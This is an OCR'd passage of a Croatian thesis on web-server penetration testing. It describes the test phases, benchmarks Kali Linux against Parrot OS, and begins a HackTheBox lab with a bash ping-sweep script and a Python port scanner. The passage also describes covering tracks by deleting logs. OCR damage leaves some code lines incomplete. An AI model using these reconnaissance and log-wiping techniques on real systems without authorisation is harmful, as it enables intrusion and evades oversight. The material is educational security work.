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Sazetak

Ovaj rad sadrzava teorijski pregled penetracijskog testiranja. Proces penetracijskog
testiranja predstaviti ¢e se kroz glavne korake od po€etne enumeracije do podizanja razine
ovlasti te prikrivanja tragova napada. Nakon toga napraviti ¢e se usporedba Linux
distribucija za penetracijsko testiranje uz kratak pregled njihovih moguénosti. Za potrebe
prakticnog primjera koristiti ¢e se alat Virtualbox te Kali Linux kako bi se prikazao proces
penetracijskog testiranja Web posluzitelja. Prikazati ¢e se proces identifikacije i odabira
mete napada, a nakon toga i penetracijsko testiranje sustava za autentifikaciju, sustava za
autorizaciju te podizanje razine ovlasti na samom posluZitelju. Naposlijetku, navesti ¢e se

moguci nacini zastite od svih napada provedenih u prakti€nom primjeru.

Kljuéne rije€i: penetracijsko testiranje, Kali Linux, informacijska sigurnost
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1. Uvod

Tema ovog rada je penetracijsko testiranje Web posluzitelja. Ovim radom zeli se objasniti
pojam penetracijskog testiranja pregledom svake od pet glavnih faza, od prikupljanja
informacija o meti do izrade izvjeStaja. Danas postoji veliki broj alata za penetracijsko testiranje
koji sluze za automatizaciju i ubrzanje procesa prikupljanja informacija o potencijalnim
ranjivostima i provodenje napada. Kali Linux, operacijski sustav za penetracijsko testiranje
dolazi sa preko 600 takvih alata. lako je bitno poznavati alate i naCine na koji se koriste, fokus
u ovom radu Ce biti na razumijevanju kako ti alati rade. Iz tog razloga ¢e se neke aktivnosti
poput skeniranja mreze kao i skeniranja portova na meti obaviti pisanjem vlastitog ili
modificiranjem postojec¢eg programskog koda iako postoje alati koji mogu automatizirati te
aktivnosti. Time ¢e se pruziti bolji uvid u nacin na koji se funkcije alata za penetracijsko
testiranje provode. Bitno je i razumjeti u kojim su situacijama neki alati najpogodniji za
koristenje, to Ce isto tako biti objasnjeno i prikazano kroz prakti¢ni primjer. S obzirom da je
tema ovog rada penetracijsko testiranje, a ne provodenje cyber napada, nakon provedenog
napada navedeni ¢e biti i nacini zastite. Time Ce prakti¢ni primjer poprimiti izgled izvjestaja u
Cijem su zaklju¢ku definirane konkretne akcije i nacini na koji se izvodenje demonstriranih
napada moze usporiti, a u nekim slu¢ajevima i potpuno zaustaviti. Ono $to se ovim radom zeli
posti¢i je simulacija stvarnih napada nad Web posluziteljem kako bi se identificirale ranjivosti
te nacini na koje se identificirane ranjivosti mogu ukloniti. Zastita od provedenih napada je
krajnji cilj svakog procesa penetracijskog testiranja te predstavlja mogucnost da se
organizacija zastiti od napada na svoj informacijski sustav prije nego $to se ti napadi provedu

u produkcijskom okruzenju.



2. Penetracijsko testiranje

Penetracijsko testiranje je proces kojim se provodi hapad nad nekim sustavom kako bi se
dobio bolji uvid u potencijalne ranjivosti tog sustava te nacine zastite od buduéih napada. Cilj
penetracijskog testiranja je simulacija stvarnih scenarija cyber napada u svrhu pregleda
sigurnosnog aspekta sustava. Time se zeli ocijeniti otpornost razli¢itih komponenti na cyber
napade kako bi se potencijalne ranjivosti mogle otkloniti prije nego Sto se nad njima izvrsi
stvarni napad. Informacijski sustavi se ¢esto nadograduju novim komponentama i zna¢ajkama.
Iz tog razloga je potrebno redovito provoditi penetracijsko testiranje kako bi se otkrile
potencijalne ranjivosti u novim komponentama koje bi mogle dovesti do kompromitacije cijelog

sustava.

Postoji viSe vrsta penetracijskog testiranja koje su usmjerene na razliCite aspekte
organizacije te se penetracijsko testiranje ne odnosi samo na softverske komponente
informacijskog sustava. Dvije vrste koje ¢e biti demonstrirane u prakticnom dijelu ovog rada su
penetracijsko testiranje Web aplikacija te penetracijsko testiranje mrezZe. Penetracijsko
testiranje mreze izmedu ostalog odnosi se i na presretanje paketa koje Ce biti prikazano
kasnije, dok ¢e penetracijsko testiranje Web aplikacija biti provedeno na nacin da ¢e se napasti
Web aplikacija mete kako bi se dobio pristup posluzitelju. Kod penetracijskog testiranja Web
aplikacija bitno je spomenuti OWASP (Open Web Application Security Project) top 10. To je
popis 10 najCes¢ih prijetnji u vidu cyber napada nad Web aplikacijama te Cesto predstavlja
polaznu to¢ku za penetracijsko testiranje Web aplikacija [1]. U praktiénom primjeru ovog rada
demonstrirati ¢e se napadi vezani uz prijetnje sa ovog popisa poput ranjive autentikacije te

ranjive kontrole pristupa.

Osim navedenih vrsta postoje i penetracijsko testiranje 10T (Internet of Things) uredaja,
penetracijsko testiranje clouda, kripto valuta te fiziCko penetracijsko testiranje. Fizi¢ko
penetracijsko testiranje osobito je bitno provoditi u organizacijama poput banaka i kasina.
NajceS¢e se odnosi na provodenje napada nad fizickim barijerama poput senzora, kamera te

brava te se Cesto provodi zajedno sa penetracijskim testiranjem mreze [2].



2.1. Faze procesa penetracijskog testiranja

Klasi¢no penetracijsko testiranje Web aplikacija kao sto ¢e biti prikazano u praktiénom
primjeru moze se podijeliti u pet faza. Faze penetracijskog testiranja nisu uvijek linearne vec
predstavljaju ciklus Ciji se dijelovi mogu ponavljati viSe puta. Primjer takvog ciklusa je dobivanje
pristupa ovlastima nekog korisnika Web aplikacije nakon ¢ega je potrebna daljnja enumeracija

kako bi se dobio pristup korisniku sa veé¢im ovlastima.

2.1.1.Enumeracija

Enumeracija je prva i najvaznija faza penetracijskog testiranja. To je faza u kojoj se
prikupljaju informacije o meti kako bi se otkrile potencijalne ranjivosti koje se kasnije mogu

iskoristiti. Enumeracija se moze podijeliti na dvije vrste, a to su pasivna i aktivha.

Pasivna enumeracija se odnosi na prikupljanje podataka bez interakcije s metom. Alat koji
se najcesS¢e koristi za provodenje pasivne enumeracije je Google, zajedno sa drustvenim
mrezama. Na taj nacin se mogu saznati korisne informacije o organizaciji nad kojom se provodi
penetracijsko testiranje te o zaposlenicima te organizacije. 1z tog razloga je ova vrsta
enumeracije vrlo vazna kod penetracijskog testiranja ,uzivo“ koje podrazumijeva koristenje
drustvenog inZenjeringa za dobivanje pristupa. Pasivha enumeracija ukljuCuje i konstruiranje
Google upita kako bi se na Web mjestu mete pronasli skriveni dokumenti i stranice, s obzirom
da pri tome ne postoji direktna komunikacija s metom [3]. Prednost ove vrste enumeracije je

to Sto meta ne moze detektirati aktivnosti prikupljanja informacija.

Aktivha enumeracija je prikupljanje podataka o meti na nain da se ostvaruje direktna
komunikacija. Upravo ova vrsta enumeracije ¢e se koristiti u prakticnom primjeru, a odnosi se
na skeniranje potencijalne mete kako bi se pronasli otvoreni portovi i time dobile informacije o
potencijalno ranjivim komponentama i znaajkama na meti. Osim toga, koristeéi alate za
aktivhu enumeraciju pronaci ¢e se skrivene stranice i dokumenti na Web mjestu mete. Mnogo
alata za aktivnu enumeraciju dolazi pred instalirano na operacijskim sustavima za
penetracijsko testiranje poput Kali Linux te Parrot OS koji ¢e biti poblize upoznati u sljede¢em
poglavlju. lako aktivna enumeracija ne spada u direktne cyber napade, s obzirom da postoji
komunikacija s metom mogucée je otkriti pokuSaje prikupljanja informacija i detektirati

potencijalan napad vec¢ u ovoj fazi.



2.1.2.Dobivanje pristupa

Ova faza predstavlja provodenje napada nad ranjivostima koje su otkrivene i o kojima su
informacije prikupljene u fazi enumeracije. Cilj ove faze je ostvariti pristup nekom od korisnika
sustava. Ukoliko je cilj procesa penetracijskog testiranja dobivanje root ovlasti, a nakon
provedenog napada se dobije pristup obi€hom korisniku potrebno je obaviti odredene radnje
u svrhu podizanja razine ovlasti 8to predstavlja sljedecu fazu procesa penetracijskog testiranja.
Postoji veliki broj na€ina na koji se moZe ostvariti pristup korisniku sustava a ovise o
informacijama prikupljenim u fazi enumeracije. U nekim slu€ajevima moguce je iskoristiti
ranjivu softversku komponentu ili zna¢ajku sustava dok je u drugim slu€ajevima moguce
iskoristiti ljudski faktor te pristup ostvariti tehnikama drustvenog inzenjeringa. Bez obzira na
koji se nacin ostvari, pristup korisniku sustava oznaCava prekretnicu u svakom procesu
penetracijskog testiranja s obzirom da omogucuje pristup novim informacijama i boljem

pregledu sustava koji se napada iznutra.

2.1.3.Podizanje razine ovlasti

Podizanje razine ovlasti €esto zahtjeva povratak na fazu enumeracije kako bi se prikupile
informacije iz resursa dobivenih pristupom nekom od korisnika sustava. Te informacije se
zatim mogu iskoristiti za provodenje sljedeé¢eg napada Ciji je cilj dobivanje pristupa korisniku
sa viSom razinom ovlasti. 1z tog razloga se faza enumeracije i faza dobivanja pristupa mogu
ponavljati viSe puta u procesu penetracijskog testiranja. Podizanje razine ovlasti moze se
izvesti horizontalno i vertikalno. Horizontalno podizanje razina ovlasti odnosi se na ostvarivanje
pristupa resursima drugih korisnika koji imaju istu razinu ovlasti kao korisnik kojem je trenutno
ostvaren pristup. Na taj na¢in se mogu dobiti informacije koje se mogu iskoristiti za daljnje
napade nad sustavom kojima se ostvaruje pristup korisniku sa viSom razinom ovlasti.

Ostvarivanje viSe razine ovlasti joS se naziva i vertikalno podizanje razine ovlasti [4].



2.1.4.Prikrivanje tragova

Prikrivanje tragova je vrlo bitan korak kojim se sprjeCava detekcija aktivnosti penetracijskog
testiranja. UkljuCuje poduzimanje mjera kako bi se sprijeCila detekcija napada prilikom
izvodenja te poduzimanje mjera kako bi se uklonili dokazi o napadu koji se naknadno mogu
prikupiti digitalnom forenzikom [5]. U prakti€cnom primjeru ¢ée se provesti osnovni koraci
uklanjanja dokaza na nacin da ¢e se obrisati maliciozni kod te zapisi u log datoteci koji ukazuju
na neovlastene aktivnosti. Za sprje€avanje detekcije napada prilikom izvodenja istog potrebno
je poznavati alate koji se koriste. Pri tome je vazno razumijeti razinu ,buke® koju proizvode
odredeni alati za skeniranje i provodenje napada nad metom kako bi se postigla ravnoteza
izmedu efektivnih napada i napada koje je teSko detektirati. Aktivnosti prikrivanja tragova isto
tako pomaZzu u dugotrajnom odrzavanju pristupa posluzitelju mete s obzirom da ukoliko napad

nije detektiran postoje manje Sanse da se zakrpaju ranjivosti koje omogucuju pristup meti.

2.1.5.1zvjestavanje

Faza izvjeStavanja predstavlja razliku izmedu cyber napada i penetracijskog testiranja. Dok
je krajniji cilj cyber napada prikriti tragove i osigurati dugotrajni pristup posluzitelju mete, krajnji
cili penetracijskog testiranja je kreiranje izvjestaja. lzvjeStaj sluzi kako bi se na temelju
provedenog napada donijeli zakljuéci o akcijama koje je potrebno provesti kako bi se
informacijska sigurnost organizacije podigla na viSu razinu. lzvjestaj procesa penetracijskog
testiranja u ovom radu je poglavlje prakti¢nog dijela ali i posljednje poglavlje u kojem se pruza
pregled nacina zastite od demonstriranog napada. Definirane su konkretne smijernice i
poboljSanja koja je moguce implementirati kako se prikazani napadi vise ne bi mogli ponoviti.
To predstavlja krajnji cilj penetracijskog testiranja jer organizaciji pruza uvid u trenutne
ranjivosti informacijskog sustava te nacine na koje se te ranjivosti mogu ukloniti. Izvjestaji
penetracijskog testiranja u poslovnom svijetu nesto su slozeniji od izvjeStaja koji ¢e biti
prikazan u ovom radu, a najCeSce se sastoje od tri glavna dijela. Pri tome je prvi dio sazet
pregled zakljuCaka sa konkretnim akcijama koje je potrebno poduzeti. Taj pregled je napisan
laiCkim jezikom te za razumijevanje nije potrebno tehniCko znanje, a namijenjen je za viSi
menadzment. Zatim slijedi izvjestaj o provodenju napada, korak po korak. U posljednjem dijelu
se iznose sve pronadene ranjivosti i potencijalne prijetnje te su pri tome ocjenjene ovisno o
riziku koji predstavljaju za organizaciju [6]. Time se dobiva potpuni izvjeStaj koji prikazuje
detaljan pregled provodenja napada nad informacijskim sustavom ali daje i sazet pregled

konkretnih akcija koje se mogu poduzeti kako bi se buduéi napadi sprijecili.



3. Usporedba operacijskih sustava za penetracijsko

testiranje

Za potrebe penetracijskog testiranja primarno se koriste Linux distribucije zbog svoje
testiranja. Isto tako, €esto zahtijevaju manje racunalnih resursa $to omogucuje provodenje
penetracijskog testiranja koristeci veci raspon uredaja. Neke od popularnih Linux distribucija
su Debian, Fedora, Ubuntu i slicne. Dva najpopularnija operacijska sustava koji se koriste za
penetracijsko testiranje baziraju se upravo na distribuciji Debian, a ti operacijski sustavi su Kali
Linux te Parrot OS. Kali Linux temelji se na operacijskom sustavu BackTrack Linux te je
osmislien kao njegova zamjena. Razvijen je od strane ¢lanova organizacije ,Offensive
Security* koja je jedna od vodeéih organizacija za primjenu informacijske sigurnosti te koja
financira razvoj Kali-a i omogucuje Cesta azuriranja znacajki sustava. Kali je besplatan, dolazi
sa vise od 600 alata za penetracijsko testiranje i primjenu informacijske sigurnosti te podrzava
naredbe na viSe jezika $to mu daje pristup Siroj publici [7]. S druge strane nalazi se Parrot OS
koji je razvijen imajuéi na umu iste funkcionalnosti kao i Kali Linux no postoje odredene razlike

koje je bitno razmotriti prilikom odabira operacijskog sustava za penetracijsko testiranje.

Prva razlika je to §to Parrot OS zahtijeva manje prostora za pohranu, samo 8 gigabajta
[8] dok Kali Linux zahtijeva 20 gigabajta prostora za pohranu [9]. Sljedeéa veca razlika izmedu
ovih operacijskih sustava je Cinjenica da je Parrot OS usmjeren na privatnost i sigurnost
prilikom rada na Internetu. To se postiZze alatima poput TOR-a (The Onion Router) koji
predstavlja decentraliziranu mreZu koja osigurava anonimnost prilikom aktivnosti na Internetu.
Ta anonimnost se ostvaruje tako da HTTP zahtjev putuje kroz veliki broj to€aka u mrezi zbog
Cega se IP adresa klijenta koji je poslao originalni zahtjev vrlo teSko prati i otkriva. Parrot OS
sadrzi i AnonSurf, alat kojim se omogucuje koristenje razli¢itih mreza za anonimiziranje poput
spomenutog TOR-a. Naposlijetku, Parrot OS dolazi i sa viSe alata za penetracijsko testiranje
bezi¢nih mreza Sto ga isto tako €ini pogodnim za koristenje na prijenosnim uredajima. Jedan
od takvih alata je Wifiphisher koji sluzi za provodenje napada nad bezi¢nim mrezama poput

phishing napada [10].

Zbog navedenih razloga male veli€ine instalacije, alata za anoniman rad na mrezi kao i
dodatnih alata za penetracijsko testiranja bezi¢nih mreza koji se ne nalaze na Kali Linuxu poput
spomenutog Wifiphishera, Parrot OS se pokazuje kao bolji izbor za koriStenje ,na terenu” na
prijenosnim uredajima. S obzirom da zahtijeva mali prostor za pohranu, Parrot OS je pogodan
i za pokretanje sa USB Stapi¢a Sto korisniku omogucuje pristup potrebnim alatima za

penetracijsko testiranje na bilo kojem dostupnom uredaju. Ipak, prijenosni uredaji za kakve se



Parrot OS ¢&ini pogodan Cesto imaju slabije performanse. Osim toga, ukoliko se operacijski
sustav pokreé¢e sa USB Stapic¢a na bilo kojem dostupnom uredaju isto tako se €esto moze
pojaviti slu€aj gdje takav uredaj ima nisku razinu dostupnih racunalnih resursa. Iz tog razloga
je prije dono$enja zaklju¢aka o pogodnosti operacijskih sustava za razli€ite situacije potrebno
provesti testove performansi na razli¢itim konfiguracijama virtualnih strojeva sa razli€itim
razinama racunalnih resursa. Time ¢e se vidjeti ukoliko je Parrot OS responzivniji na uredajima

slabijih performansi te time pogodniji za koriStenje na terenu.

3.1. Usporedba performansi operacijskih sustava za

penetracijsko testiranje

S obzirom da navedeni operacijski sustavi sadrze sve popularne alate za penetracijsko
testiranje provedeni su testovi pokretanja nekih od tih alata kako bi se vidjelo koji operacijski
sustav bolje koristi dostupne raCunalne resurse. Sljedeca tablica prikazuje izvodenje nekih od
popularnijih alata za skeniranje mete kao i izvodenje alata johntheripper za potrebe ,krekiranja“
lozinke. Alati za skeniranje mete pokretali su se nad virtualnim strojem OWASP BWA (Broken
Web Applications) dok se alat johntheripper izvodio na nacin da mu se proslijedio rje¢nik od
113 443 lozinki u kojem je trazena lozinka na posljednjem mjestu. Na taj nacin se osiguralo da
oba operacijska sustava procesiraju isti broj linija rje€nika prilikom pokretanja tog alata. Kao
Sto je prikazano u tablici, dodijeljeni su jednaki raCunalni resursi za oba operacijska sustava (8

gigabajta radne memorije te 6 procesorskih jezgri), a za virtualizaciju koriSten je Oracle VM

VirtualBox.
Tablica 1: Pokretanje alata za penetracijsko testiranje
Alat Kali (sekunde) Parrot (sekunde)
nmap 19.15 17.62
nikto 46 44
wpscan 6.17 5.96
johntheripper 30 29
8gb RAM, 6 procesorskih jezgri




Iz rezultata je vidljivo kako je Parrot OS marginalno brzi prilikom izvodenja svih alata.
Preciznije, Parrot OS je u prosjeku brzi za 4.68% S$to nije zanemarivo ali nije ni dovoljno za
donoSenje zaklju€aka o ucinkovitosti koriStenja racunalnih resursa. Sljedeca tablica prikazuje
izvodenje alata johntheripper sa razli¢itim razinama dodijeljenih racunalnih resursa. Ostali alati
iz prethodne tablice nisu uklju€eni u ovaj test s obzirom da dostupni ra¢unalni resursi nisu
utjecali na brzinu njihovog izvodenja. S druge strane, alat johntheripper je pogodan za ovaj
test s obzirom da nije alat za skeniranje mreze pa brzina njegovog izvodenja direktno ovisi o

procesorskoj snazi virtualnog stroja.

Tablica 2: Pokretanje alata johntheripper

Kali (sekunde) Parrot (sekunde)
12gb RAM, 12 jezgri 27 27
8gb RAM, 6 jezgri 30 29
1gb RAM, 1 jezgra 157 153
512mb RAM, 1 jezgra 159 154
Alat johntheripper, 113 443 procesirane linije u rjec¢niku

Ovdje se zakljuuje kako brzina izvodenja ovisi samo o procesorskoj snazi. Koliina
dodijeljene radne memorije i operacijski sustav ne utjeCu zna€ajno na brzinu izvodenja alata
johntheripper. Iz dosada$njih rezultata vidljivo je kako izbor operacijskog sustava ne utjee na
brzinu izvodenja prikazanih alata za penetracijsko testiranje. Ipak, vazno je napomenuti kako
su svi dosada$niji alati izvodeni u prozoru terminala, bez grafickog sucelja. 1z tog razloga je
potrebno testirati pokretanje alata sa grafiCkim sucleliem s obzirom da u tom slu€aju
responzivnost operacijskog sustava ima vecéi utjecaj na brzinu pokretanja alata. Za test
pokretanja alata sa grafickim suceljem koji je prikazan u sljedecéoj tablici koristen je alat za
nadzor mreze Wireshark. Alat je pokrenut na oba operacijska sustava u Cetiri razliCite
konfiguracije racunalnih resursa. Vazno je napomenuti kako konfiguracije sa 512 megabaijta i
1 gigabajt radne memorije ne zadovoljavaju zahtjeve za Kali Linux od 2 gigabajta radne

memorije specificirane na stranicama Linux Config [12].



Tablica 3: Pokretanje alata Wireshark

Kali (sekunde) Parrot (sekunde)
4gb RAM, 4 jezgre 4.23 5.6
2gb RAM, 4 jezgre 4.66 5.49
1gb RAM, 1 jezgra 4.03 7.91
512mb RAM, 1 jezgra 7.28 33.83
Graficko sucelje alata Wireshark

Prema navedenom izvoru Kali zahtijeva 2 gigabajta radne memorije dok Parrot OS
zahtijeva samo 256 megabajta [13]. |1z toga bi se moglo zakljuciti da ¢ak i ako se Kali uspjeSno
pokrene na konfiguracijama sa manje od 2 gigabajta radne memorije, biti ¢e mnogo sporiji u
otvaranju alata sa grafiCkim su€eljem nego &to ¢e to biti Parrot OS koji ima manje specificirane
zahtjeve za raCunalnim resursima. Ipak, rezultati su suprotni tom zakljuCku. Naime, na
konfiguracijama sa niskom razinom dostupnih racunalnih resursa responzivnost te brzina
otvaranja razli€itih prozora je mnogo bolja koriste¢i Kali nego Parrot OS. To je kvantificirano i
rezultatima u prethodnoj tablici koji prikazuju brzinu otvaranja grafiCkog sucelja alata
Wireshark. |1z rezultata je vidljivo kako je Parrot OS mnogo sporiji u otvaranju grafickog sucelja
tog alata u slu€ajevima kada je dodijeljen 1 gigabajt radne memorije ili manje. lako je 512
megabajta radne memorije dovoljno prema specifikacijama Parrot OS-a, vrijeme otvaranja od
34 sekunde prikazuje kako je gotovo nemoguce koristiti graficka sucelja u toj konfiguraciji.
Ovime se dolazi do zanimljivog zaklju€ka kod kojeg je operacijski sustav sa viS§im zahtjevima
za ra¢unalnim resursima mnogo responzivniji u konfiguraciji sa 512 megabajta radne memorije
nego operacijski sustav koji se oglasava kao ,lightweight“ alternativa. Razlog tome su desktop
okruZenja koja navedeni sustavi koriste. Desktop okruzenje predstavlja softver poput
uredivaCa teksta, preglednika datoteka i sli¢nog koji se nalazi na operacijskom sustavu [14].
Kali koristi XFCE (XForms Common Enviroment) kojem je glavni cilj responzivnost te
u€inkovito i ekonomiéno koriStenje dostupnih racunalnih resursa [15]. S druge strane,
ParrotOS Security verzija koja je koriStena za potrebe provedenih testova koristi Mate koji je
viSe usmjeren na korisni¢ko iskustvo te ima viSe znacajki nego spomenuti Xfce. Ovdje je vazno
napomenuti kako je Parrot OS Home verzija dostupna sa ucinkovitijim Xfce desktop
okruZenjem ali u tom slucaju ne dolazi sa svim alatima za penetracijsko testiranje kao koristena

Parrot OS Security verzija.



Iz provedenih testova moguce je donijeti zaklju¢ke o odabiru operacijskog sustava za
koriStenje na terenu te za koriStenje u slu€ajevima kada racunalni resursi ne predstavljaju
ogranicenje. Naime, iako Parrot OS zahtijeva manje prostora za pohranu te sadrzi vise alata
za penetracijsko testiranje bezi¢nih mreza, smatram kako je Kali Linux svejedno bolja opcija
za koristenje na terenu zbog mnogo manje potrebe za racunalnim resursima zahvaljujuci Xfce
desktop okruzenju. U danasnje vriieme USB Stapici od 32 gigabaijta nisu pretjerano skupi, a
alati poput Wifiphishera se mogu vrlo lako instalirati na Kali Linux iako ne dolaze
predinstalirani. S druge strane, za koriStenje u slu€ajevima kada racunalni resursi ne
predstavljaju ograniCenje izbor operacijskih sustava svodi se na osobnu sklonost desktop
okruZenja. Performanse oba operacijska sustava su gotovo jednake, a s obzirom da sam
skloniji radu u Xfce okruzenju Kali Linux ¢e se koristiti za potrebe prakti€nog primjera ovog
rada.
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4. Prakti€ni primjer

Zbog zaklju¢aka donesenih u prethodnom poglavlju za potrebe prakti¢nog primjera koristiti
¢e se operacijski sustav Kali Linux sa pripadaju¢im alatima za penetracijsko testiranje te
platforma za penetracijsko testiranje HackTheBox. HackTheBox korisnicima omogucuje
pristup ranjivim posluziteljima te predstavlja sigurno okruzenje u kojem se aktivnosti

penetracijskog testiranja mogu obavljati na legalan nacin.

4.1. ldentifikacija mete

Nakon uspjesnog spajanja na HackTheBox mreZu koristec¢i VPN (Virtual Private Network),
potrebno je pronaéi potencijalne mete. To se moze posti¢i na nacin da se koristi skripta koja
Salje ICMP (Internet Control Message Protocol) paket svakoj IP adresi na podmrezi (eng.
subnetu) te provjerava od kojih IP adresa dobiva odgovor. ICMP paketi se 3alju naredbom
ping, a ukoliko je odgovor dobiven moze se zaklju€iti kako ta IP adresa pripada nekom uredaju

koji na podmrezi aktivan.

S obzirom da se na HackTheBox mreZi potencijalne mete nalaze na IP adresama od
10.10.10.0. do 10.10.10.255. moZe se kreirati skripta koja svim adresama u navedenom
rasponu Salje pakete ping naredbom. CIDR (eng. Classless Inter-Domain Routing) notacijom
ovakav raspon IP adresa mogao bi se krac¢e zapisati kao 10.10.10.0./24 pri Eemu /24 oznaCava
da se 24 bita odnose na dio IP adrese koji oznacava mrezu dok se preostalih 8 bitova u 32
bitnoj IPv4 adresi odnose na oznacavanje pojedinih uredaja na toj mrezi. Iz toga se moze
zakljuciti da na ovoj mrezi postoje 254 moguce IP adrese koje mogu pripadati potencijalnim
metama, s obzirom da je 10.10.10.255. rezervirana broadcast IP adresa odnosno adresa koja
omogucava prijenos podataka na svaki uredaj u lokalnoj mreZi te se ne moze dodijeliti bilo
kojem uredaju. Na sljedecoj slici prikazan je rezultat dvije naredbe ping pri €emu na prvu nije

dobiven odgovor dok je na drugu dobiven odgovor.

:~$% ping -c1 10.10.10.80
PING 10.10.10.80 (10.10.10.80) 56(84) bytes of data.
From 18.10.14.1 icmp_seq=1 Destination Host Unreachable

-— 10.10.18.80 ping statistics -—
1 packets transmitted, @ received, +1 errors, 100% packet loss, time @ms

Slika 1: Rezultat naredbe ping bez odgovora
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kaliakali:~$ ping -c1 10.10.10.28
PING 10.10.10.28 (10.10.10.28) 56(84) bytes of data.
64 bytes from 10.10.10.28: icmp_seq=1 ttl=63 time=39.2 ms

-— 10.10.10.28 ping statistics —
1 packets transmitted, 1 received, 0% packet loss, time Oms
rtt min/avg/max/mdev = 39.178/39.178/39.178/0.000 ms

Slika 2: Rezultat naredbe ping sa odgovorom

Iz priloZenih slika zakljuCuje se kako je razlika izmedu uspjeSnog i neuspjeSnog
rezultata linija odgovora “64 bytes from <ip addr>". Natemelju toga moguce je konstruirati

sljedecu naredbu koja ¢e uzimati samo IP adrese iz uspjesnih odgovora:
ping -cl <ip adresa> | grep “64 bytes” | cut -d ™ ™ -f 4 | tr -d “:”

-c1 opcija kod poziva ping naredbe oznacava slanje samo jednog ICMP paketa, $to predstavlja

usStedu vremena u slu€aju da se paketi zele slati na veliki broj IP adresa. “|” ili pipe je znak koji
omogucuije slanje rezultata naredbe koja se nalazi prije pipea kao unosa naredbi koja se nalazi
nakon pipea. Sljedec¢a naredba je grep koja uzima liniju u kojoj je prisutan tekst koji se nalazi
unutar navodnika, u ovom slucaju “64 bytes”. Zatim se naredbi cut prosljeduje delimiter “ “
odnosno razmak te se sa opcijom -f definira koje se polje Zeli uzeti. U ovom sluéaju prvo polje
bi bilo “64”, drugo polje bi bilo “bytes”, tre¢e bi bilo “from” dok bi Cetvrto polje bila IP adresa.
Posljednja naredba je tr ili translate kojoj se prosljeduje delimiter “:” te koja uzima dio teksta
koji se nalazi prije prosljedenog delimitera, odnosno &istu IP adresu. Na temelju prikazanog
nacina ekstrakcije IP adresa sa kojih je dobiven uspje$an odgovor na ICMP paket moze se
napraviti sliedeéa skripta koja takve pakete Salje svim IP adresama na mrezi te u tekstualnu

datoteku sprema samo one adrese sa kojih je dobiven odgovor.

#!/bin/bash
for ip in "seq 1 254°; do
ping -¢c 1 $1.$ip | grep "64 bytes" | cut -d " " -f 4 | tr -d ":" &

done

“#!/bin/bash” linjjom definira se izvodenje skripte u bash ljusci. Zatim se definira for
petlja koja se izvodi unutar raspona brojeva od 1 do 254. U sljedecoj liniji se za svaki od tih
brojeva izvrSava naredba ping sa opcijom -c 1 te IP adresom koja je napisana u obliku $1.$ip.
$1 predstavlja prvi argument koji korisnik prosljeduje prilikom poziva skripte dok $ip predstavlja
brojeve od 1 do 254 u for petlji. Ostale naredbe kao $to je ranije objadnjeno sluze za ekstrakciju

IP adrese ukoliko je dobiven odgovor na ICMP paket.
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Skripta se poziva na sljedeéi nagin koji omogucuje zapisivanje aktivnih IP adresa u
tekstualnu datoteku koja ¢e se koristiti za daljnji rad [16] :
./ipsweep.sh 10.10.10 > adrese.txt

Na sliedec¢oj slici prikazan je sadrzaj datoteke ,adrese.txt® nakon izvodenja

~psweep.sh” skripte na HackTheBox mreZi.

adrese.txt

Slika 3: IP adrese uredaja na mrezi

4.2. Enumeracija

Sada kada su poznate IP adrese koji pripadaju uredajima na mrezi odnosno potencijalnim
metama, moguce je nastaviti enumeraciju kako bi se izabrala ona meta koja je najpogodnija
za napad. Kako bi lakSe otkrili moguce ranjivosti na metama potrebno je izvrSiti skeniranje
portova. S obzirom da je svaki port vezan uz neki servis koji se na njemu izvodi, pomocu
pregleda otvorenih portova moguce je donijeti zaklju€ke o ranjivim servisima ili zna¢ajkama
koji se izvode na posluZitelju koji predstavlja metu. Za skeniranje portova najpopularniji alat
zove se Nmap ali za potrebe ovog prakti€nog primjera modificirana je Python skripta [17]
kako bi se pruzio bolji uvid u akcije koje se izvode kako bi se otkrilo ako je neki port na meti

otvoren.
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#!/bin/python3
import sys #omogucéuje da proslijedujemo argumente poput ip adresa
import socket
from datetime import datetime
#Definiranje "mete" tj. ip adresa koje zZelimo ispitati
if len(sys.argv) ==
meta = socket.gethostbyname (sys.argv[l])
else:
print ("Netoc¢an broj argumenata.")
print ("Primjer: python3 scanner.py <ip>")
sys.exit ()
#Banner koji korisniku prikazuje napredak
print ("-" * 50)
print ("Trenutno skeniram: " + meta)
print ("Vrijeme pocetka: " + str(datetime.now()))
print ("-" * 50)
napredak = 0
try:
for port in range(20,1000):
s = socket.socket (socket.AF INET, socket.SOCK STREAM)
socket.setdefaulttimeout (1)
rezultat = s.connect ex((meta,port))
if port % 100 ==
napredak = napredak + 10
print (str (napredak)+"% portova skenirano")
if rezultat ==
print ("Port je otvoren: " + str(port))
s.close()
except KeyboardInterrupt:
print ("\nIzlaz iz programa")
sys.exit ()
except socket.error:
print ("Nemoguénost povezivanja sa posluziteljem")
sys.exit ()

#!/bin/python3 linija definira da se sljedeéi kod izvodi kao Python3 kod. Nakon toga sa
funkcijom import ukljuCuje se nekoliko modula. Prvi modul je sys koji korisniku omogucuje
prosljedivanje argumenata prilikom poziva skripte. Drugi modul omoguéuje rad sa socketom
koji je potreban kod skeniranja portova, dok treéi modul datetime sluzi za ispis vremena
poletka izvrSavanja skripte. If (len(sys.argv)) == 2 provjerava ako su proslijedena dva
argumenta. Ako jesu onda se u varijablu ,meta“ sprema rezultat poziva funkcije
socket.gethostbyname kojoj se prosljeduje argument sys.argv[1]. sys.argv[1] predstavlja drugi
argument koji prosljeduje korisnik s obzirom da niz sys.argv[] pocCinje sa indeksom 0. Prilikom
poziva ove skripte naredbom python3 scanner.py <ip adresa> prvi argument je ime
skripte, dok je drugi argument IP adresa mete. U slu€aju da nije proslijeden Zeljen broj
argumenata ispisuje se poruka koja korisnika obavjestava o ispravnom nacinu poziva skripte.
Vazno je napomenuti da s obzirom da se Koristi funkcija gethostbyname moguce je umjesto
IP adrese proslijediti i ime raCunala (eng. Hostname) mete. Nakon toga se ispisuje nekoliko
linija koje korisniku daju do znanja koja meta se trenutno skenira te koje je vrijeme pocCetka

izvodenja skripte. Zatim slijedi try-except koji omogucava da se blok koda koji se nalazi unutar
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try dijela izvodi, a ukoliko dode do greSke onda se izvodi blok koda unutar except dijela Sto je
u ovom slucaju ispis poruke te zatim zatvaranje skripte pomocu funkcije sys.exit(). Except
KeyboardInterrupt izvodi se ukoliko korisnik zatvori skriptu pomoc¢u ctrl + ¢ ili sli¢ne kombinacije
tipki, dok se except socket.error izvodi ukoliko dode do greSke prilikom povezivanja sa
posluziteljem kojem pripada proslijedena IP adresa. Unutar try dijela nalazi se blok koda koji
